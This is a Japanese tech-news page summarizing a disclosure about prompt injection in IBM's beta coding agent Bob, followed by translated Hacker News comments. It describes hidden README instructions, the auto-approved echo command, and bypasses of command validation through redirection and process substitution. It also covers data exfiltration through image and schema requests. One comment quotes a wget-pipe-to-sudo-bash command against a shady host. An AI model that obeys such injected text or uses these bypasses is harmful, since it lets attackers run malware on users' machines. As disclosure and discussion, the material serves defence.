ハクソク

世界を動かす技術を、日本語で。

IBM AI「ボブ」がマルウェアをダウンロードして実行する

概要

  • IBMのAIコーディングエージェントBobに重大な脆弱性を発見
  • コマンド自動承認設定によりマルウェア実行リスクが顕在化
  • CLIとIDE両方で複数のプロンプトインジェクション攻撃が可能
  • 既存の防御策をバイパス可能な手法を解説
  • 利用者への注意喚起と今後の対策の必要性を強調

IBM BobのAIコーディングエージェントにおける脆弱性

  • IBM BobはIBMが開発中のAIコーディングエージェントで、現在Closed Beta段階
  • 提供形態はBob CLI(Claude CodeやOpenAI Codexのようなターミナル型)とBob IDE(CursorのようなAIエディタ)の2種類
  • コマンド実行時に**「常に許可」**設定を有効化すると、マルウェアのダウンロード・実行が人手を介さず可能となる脆弱性
  • コマンドバリデーション回避を利用した間接的プロンプトインジェクション攻撃のリスク
  • IBM公式ドキュメントでも**自動承認は「高リスク」**と明記、ホワイトリスト推奨

攻撃チェーンの流れ

  • 利用者が新しいリポジトリをBobで操作
  • README下部にBobを騙す指示を記載、Bobがフィッシング訓練と誤認
  • Bobは複数回「echo」コマンドを実行、利用者は**「echoを常に許可」**を選択
  • 3回目以降、悪意あるコマンドが防御策を回避し即時実行、攻撃者サーバーからスクリプトを取得・実行
  • echoの自動承認を悪用し、全体のマルウェアペイロードを許可

防御策のバイパス手法

  • 複数コマンド要求時、通常は各サブコマンドごとに許可を求めるが、**リダイレクト演算子(>)**利用で分離検知を回避
  • **コマンド置換($(command))**は制限されているが、**プロセス置換(>(command))**は検知が不十分
  • minified JSコード内の防御ロジックも、プロセス置換には未対応
  • 「echo」コマンドの自動承認により、悪意ある全コマンドの実行が可能

影響範囲

  • 攻撃者が任意のシェルスクリプトを配信・実行可能
    • ランサムウェアによるファイル暗号化・削除
    • 認証情報窃取スパイウェアの展開
    • リバースシェルによる端末乗っ取り
    • 仮想通貨マイニングボットネットへの強制参加
  • Bob CLIのプロンプトインジェクションが、端末の完全な乗っ取りに直結

Bob IDEにおける追加の脆弱性

  • Markdown画像の表示時、storage.googleapis.com等へのリクエストが許可されており、データ流出リスク
  • 画像リンクをボタン化したフィッシング攻撃の可能性
  • Mermaidダイアグラムでも同様に外部画像リクエストが許可され、攻撃者によるログ取得が可能
  • JSONスキーマのプリフェッチ時、攻撃者が制御するURLへのアクセスでゼロクリック型データ流出

利用者への注意喚起と今後の対応

  • IBM Bobの正式リリース前に、これらの脆弱性について広く周知
  • 利用者は自動承認設定を避け、ホワイトリスト運用を徹底
  • IBMによる追加防御策の実装を強く要望
  • AIコーディングエージェント利用時のセキュリティ意識向上が不可欠

Hackerたちの意見

コマンドを実行しようとしたときに表示されるテキストが、$()のような置換をブロックすると明言してるのに、実際には全然ブロックしてないのが面白いよね。
これって、ちゃんとパースするんじゃなくてショートカットを使ってるだけって感じだね。[0] 0: https://lexi-lambda.github.io/blog/2019/11/05/parse-don-t-va...
データとロジックの区別ができてないっていう失敗だと思うな。現状は、タイプや完全性について生産的に話し始めるにはまだまだ足りない。残念ながら、その、えっと、機会を狙ったショートカットっていうのは現代のLLMの本質的な挙動で、みんなその根本的な問題が後で何かの銀の弾丸で解決されることを期待して周りを作り続けてるんだよね。
このプロンプトインジェクションの脆弱性、マジで気持ち悪い。LLMは非決定的に感じるから、対策が本当に難しいと思う。経験のある人、これについて俺が間違ってるか教えてくれない?
> 本当に対策が難しいと思う ちょっと軽い感じに聞こえるかもしれないけど、LLMに任意のコードを実行させる前にレビューしない限り、実行させないようにすればいいんじゃない?それか、信頼できないコードを実行するために設計された隔離された環境の中でだけ実行させるとか。LLMが自分で考えたコードを、監視なしで、気にしてる環境で実行させるなんて、マジで頭おかしいと思う。
> 経験のある人、これについて俺が間違ってるか教えてくれない? いや、全然違うよ。非決定性ってのは、ほとんどのソフトウェア開発者が書くものだよ。利益や時間に関係してるんじゃないかな。
決定性も大事だけど、もっと重要なのは権限の境界だよね。これらのAIエージェントツールは、最初から全く権限なしで提供されるべきで、すべての権限は細かく付与されるべきなんだ。でも、そうするとクールなデモやマーケティングの売り文句が壊れちゃうよね。エージェントに任意のシェルコマンドを自由に実行させるのは、単純にバカだと思う。そもそもそんなことは起こるべきじゃない。
誰かが悪意のあるスクリプトをコードベースにダウンロードするための指示を書いて、AIエージェントがそれを読んで従うことを期待するなら、同じwgetコマンドをビルドスクリプトやソース自体に直接書く方が簡単だよね(たぶんそっちの方が効果的)。そういう意味では、供給チェーン攻撃と非常に似た脅威だと思う。だから、深刻な問題だけど、対処方法はわかってるんだ。解決策(すべてのサードパーティコードの監査、開発環境の隔離)は実際には難しいんだけどね。
少なくともマルウェアはすでにコーダーのマシンで動いてるからね。面白くなるのは、マルウェアがユーザーのマシンで動き出して、コーダーがもはやコーダーじゃなくてプロンプターになって、そんなことがどう起こるのか全くわからなくなる時だね。
VMで動かしてみて。最近はビルドスクリプトやgitを狙ったサプライチェーン攻撃があるから、いろんなことに対して良いアドバイスだと思うよ。
問題は非決定論そのものじゃないんだ。READMEファイルのプロンプトインジェクションに確実に従うエージェントは、完全に決定論的に振る舞ってるからね。行動はすべて入力によって決まってるんだ。
もしかしたら、フィッシング対策のトレーニングを任せられるかも。
LLMは人間と同じように脆弱だよね。PEBKACを自動化する方法を見つけたって感じ。エージェントLLMはプロンプトインジェクション攻撃に対してどんどん強化されていくと思うけど、有用なLLMを維持しつつ、成功の可能性をゼロにするのは難しい。だから「解決策」はAIの権限を制限して「致命的なトリフェクタ」を避けることなんだ。
その通りだけど、通常は信頼できないコンテンツにアクセスすることはあまりないんだよね。コーディングエージェントがインターネットからランダムなウェブサイトを取得するシナリオは非常に少ない。外部コンテンツが必要な場合は、プロバイダーの「ウェブ検索」APIを使うことが多いから、すでにすべてのコンテンツを前処理して要約してるし、こういう攻撃は不可能なんだ。忘れないでほしいのは、この攻撃は君が現在作業中のプロジェクトのREADME.mdに悪意のあるプロンプトを注入することに依存しているってこと。
IBMが挑戦しないべきだとは言わないけど、ほんとに – なんでIBMがコーディングCLIを作ってるの? スティーブ・ブシェミの「どうも、同級生の皆さん?」っていうミームの企業版みたいだよね。
株主に関係してるのかな?
問題の一部は、ツールのベンダーロックインだね。新しいカテゴリーだから仕方ないけど、今は企業向けクラウドプラットフォームを売ってる会社は、競争力を保つために自社のAIコーディングツールが必要なんだよね。
IBMはAIの歴史がすごいよね、Deep BlueやWatsonとか。まあ、すごいってほどでもないけど、ほとんどの人がパンツを履く前からずっとこの業界にいたからね。
一度くらい、IBMを買ったり雇ったりしたことで本当にクビになるかもしれないね。
数年前の会議でIBMのAIに関するプレゼンを見たことがあるんだけど、あの時はAIのハイプの波の真っ最中だった(2018年頃かな)。確か、特化したAIチップやハードウェアを宣伝してたんだよね。プレゼンはまあまあだったけど、彼らがこの分野に手を出そうとしてたのはわかる。
彼らは、営業チームが高額なコンサルティング契約を結ぶためのパワーポイント資料に何かを入れる必要があるからだよ。ほら、IBM Watsonみたいに。
最近はみんなAIを作ってるよね。使ってるLLM以外には本当に差別化できる特徴がないけど、競合から市場シェアを奪うための安上がりな方法なのかもね。
最後にAIを統合しなかった会社は、エンジニアチームの75%を解雇しなければならなかった。AIは売れるんだよ。
年間500億ドルの収益を上げるテック企業なんだから、逆に「なんで自分たちでコーディングCLIを作らないの?」って聞きたいな。
これをREADME/CLAUDE.md/AGENTS.mdとかに書いておけば、どんなコーディングエージェントでも使えると思うよ。ボブが意図通りに動いてるのか、こういうバグをどう分類すればいいのかはよくわからないけど。プロンプトインジェクションの脅威モデルはちょっと曖昧になるけど、基本的に信頼できないマークダウンはAIエージェントに入れない方がいいね。
「IBM BobはIBMの新しいコーディングエージェントで、現在クローズドベータ中です。」Promptarmorは、ベータ版のGoogleのAntigravityに対しても似たような攻撃(1)をしたんだよね。それ以来、セキュアモード(2)が追加されたけど、これらはまだベータツールなんだ。ツールが準備できたら、インターネットから適当にコピペしてランダムな依存関係を追加するユーザーよりも、初めから安全だと思うよ。これらのツールは、ユーザーがより安全に行動するのを助けるかもしれない。正直、これらのツールが引き起こす他の問題の方が心配だね。バイブコーディングの問題はすぐにスケールするから。企業はまだ、コードは資産じゃなくて負債だってことを理解してない。理想的には、コードゼロでビジネスの問題を解決するべきだよ。コードを書くのは高くないけど、維持するのは高いからね。(1) https://www.promptarmor.com/resources/google-antigravity-exf... (2) https://antigravity.google/docs/secure-mode
解決可能な問題はいくつか見つかってるけど(例えば「防御システムがリダイレクトオペレーターを使ってチェーンされたサブコマンドを識別できない」)、主な問題は解決不可能なんだ。LLMにコードを編集させて、信頼できないデータ(インターネットみたいな)へのアクセスを許可すると、セキュリティの問題が発生するよ。
そう思うかもしれないけど、イエローストーンのクマ対策用のゴミ箱について調べてみて。実際には無理なんだよ。なんでかっていうと、一番賢いクマは一番バカな人間より賢いから。だから、これらのAIは人間とインターフェースを持って、非決定的な言語を使うことになってる。でも、そのベクトルは常に悪用される可能性がある。人間が操作しないAIの話をしてるわけじゃない限りね。
> ツールが準備できたら、インターネットから無思考でコピペして、適切なデューデリジェンスもなしにランダムな依存関係を追加する多くのユーザーと比べて、初めから安全性が高いだろうと思う。これらのツールは、実際にユーザーがもっと安全に行動するのを助けるかもしれない。この推測的な発言は、彼らが単なる「ベータツール」であるという議論を持ちすぎている。
> ボブにはこの攻撃でバイパスされる3つの防御がある このセクションでは、3つのステップでバイパスを説明してるけど、実際には2つの防御しか説明してなくて、3つ目のポイントはその2つのバイパスがどう相互作用するかのまとめになってる。
AIはこのステップでコンテンツエディタをバイパスした。
Bob CLIがGemini CLIのただのフォークだなんて信じられないよ。Anthropicがエージェント開発のCLIで優位性を持ってるのも納得だね。少なくとも、自分たちのを開発してるし。
これは、彼らが販売しているソフトウェアに非常に高い商業的利害関係がある記事だよね(promptarmor.com - 「すべてのAIリスクはサードパーティリスク」)。
ここに問題はないと思うけど。開発者が「wget -qO - http://shadysite/foo.sh | sudo bash」を盲目的に実行する作業を自動化したんだよね。自動化がなかったら、彼らは喜んでターミナルにコピペしてたと思う。関わってるみんなにとってプラスになることだよ。マルウェア作成者もターゲットも、最新の流行ライブラリやフレームワークをインストールしたがってるから、結局は自分からインストールしてたはず。